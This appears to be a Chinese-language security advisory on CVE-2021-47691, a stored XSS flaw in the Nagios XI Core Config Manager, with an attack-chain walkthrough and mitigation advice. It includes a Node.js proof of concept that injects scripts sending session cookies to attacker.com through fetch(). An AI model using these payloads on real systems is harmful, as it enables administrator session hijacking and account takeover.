IPBUF安全漏洞报告
English
CVE-2021-47691 CVSS 5.4 中危

CVE-2021-47691 Nagios XI CCM 跨站脚本漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2021-47691
漏洞类型
XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI Core Config Manager (CCM)

相关标签

XSS跨站脚本Nagios XICCM存储型XSSCWE-79会话劫持CVE-2021-47691网络监控配置管理

漏洞概述

CVE-2021-47691是Nagios XI核心配置管理器(CCM)中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞影响Nagios XI版本5.8.2之前的版本以及CCM 3.1.1之前的版本。漏洞位于Services页面的config_name和service_description字段中,由于对这些用户输入字段缺乏充分的验证和转义处理,攻击者可以注入恶意JavaScript代码。当其他用户访问受影响的页面时,这些恶意脚本将在受害者浏览器的上下文中执行,从而窃取会话cookie、劫持用户账户或进行其他恶意操作。攻击者需要具有低权限账户即可利用此漏洞,但需要诱导具有更高权限的用户访问特制链接或页面。由于这是存储型XSS,恶意代码会持久保存在服务器端,影响所有访问该页面的用户。此漏洞的CVSS评分为5.4,属于中等严重程度,主要风险在于会话劫持和敏感信息泄露。Nagios XI作为广泛使用的网络和系统监控工具,其配置管理组件的漏洞可能影响大量企业用户的IT基础设施安全。

技术细节

该漏洞是存储型跨站脚本(CWE-79)漏洞,存在于Nagios XI的Core Config Manager组件中。漏洞的根本原因是对用户输入的config_name和service_description字段缺少适当的输入验证和输出编码。在Nagios XI的Services配置页面中,用户可以添加或修改服务配置,这些字段的值会被存储在数据库中。当其他用户访问服务列表或相关页面时,这些未经过滤的数据会被直接嵌入到HTML响应中,导致恶意脚本执行。攻击者利用此漏洞的典型方式是:在服务配置的config_name或service_description字段中插入恶意JavaScript代码,如<script>alert(document.cookie)</script>。由于这些字段支持用户自定义输入且没有进行HTML实体编码,恶意代码会被浏览器解析执行。成功利用此漏洞需要满足以下条件:攻击者拥有Nagios XI的有效低权限账户,能够访问CCM的Services配置页面;攻击者需要诱导具有更高权限的管理员用户访问包含恶意脚本的页面,以实现会话劫持或权限提升。攻击者可以通过社工手段发送包含恶意链接的钓鱼邮件,或等待管理员自行访问受影响的配置页面。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Nagios XI版本,确认版本低于5.8.2或CCM低于3.1.1,并获取有效的低权限账户凭据
STEP 2
步骤2: 注入恶意代码
攻击者登录Nagios XI CCM,访问Services配置页面,在config_name或service_description字段中注入包含恶意JavaScript的XSS payload
STEP 3
步骤3: 持久化存储
恶意代码被保存到数据库中,作为服务配置的一部分持久存在,无需攻击者再次操作
STEP 4
步骤4: 诱导受害者
攻击者通过钓鱼邮件、社工手段或等待管理员访问等方式,诱导具有高权限的管理员用户访问包含恶意脚本的Services页面
STEP 5
步骤5: 脚本执行
管理员访问页面时,浏览器解析并执行存储的恶意JavaScript代码,攻击者可窃取会话Cookie或执行其他恶意操作
STEP 6
步骤6: 账户劫持
攻击者利用窃取的会话Cookie冒充管理员身份,进行权限提升、数据窃取或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2021-47691 PoC - Nagios XI CCM XSS via Services Page // Target: Nagios XI < 5.8.2 or CCM < 3.1.1 // Attack Type: Stored XSS in config_name and service_description fields const axios = require('axios'); const cheerio = require('cheerio'); async function exploitXSS(targetUrl, username, password) { const session = axios.create({ baseURL: targetUrl }); // Step 1: Login to Nagios XI const loginData = new URLSearchParams({ username: username, password: password }); await session.post('/nagiosxi/login.php', loginData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }); // Step 2: Navigate to CCM Services page await session.get('/nagiosxi/ccm/index.php?cmd=modify&obj=service'); // Step 3: Inject XSS payload into config_name field const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; const serviceData = new URLSearchParams({ config_name: xssPayload, service_description: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', active: '1', submit: 'Submit' }); // Step 4: Submit the malicious service configuration await session.post('/nagiosxi/ccm/index.php?cmd=add&obj=service', serviceData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when admin views Services page'); } // Usage: node cve-2021-47691.js <target> <username> <password> exploitXSS(process.argv[2], process.argv[3], process.argv[4]) .catch(console.error);

影响范围

Nagios XI CCM < 3.1.1
Nagios XI < 5.8.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制CCM模块的访问权限,仅允许受信任的管理员访问;2)对Services页面的用户输入实施严格的输入过滤,禁用HTML标签输入;3)启用HTTPOnly和Secure标志保护会话Cookie;4)实施严格的CSRF防护机制;5)定期审计Nagios XI的访问日志,检测异常行为;6)考虑使用Web应用防火墙(WAF)对XSS攻击进行检测和阻断;7)对管理员进行安全意识培训,警惕可疑的钓鱼链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表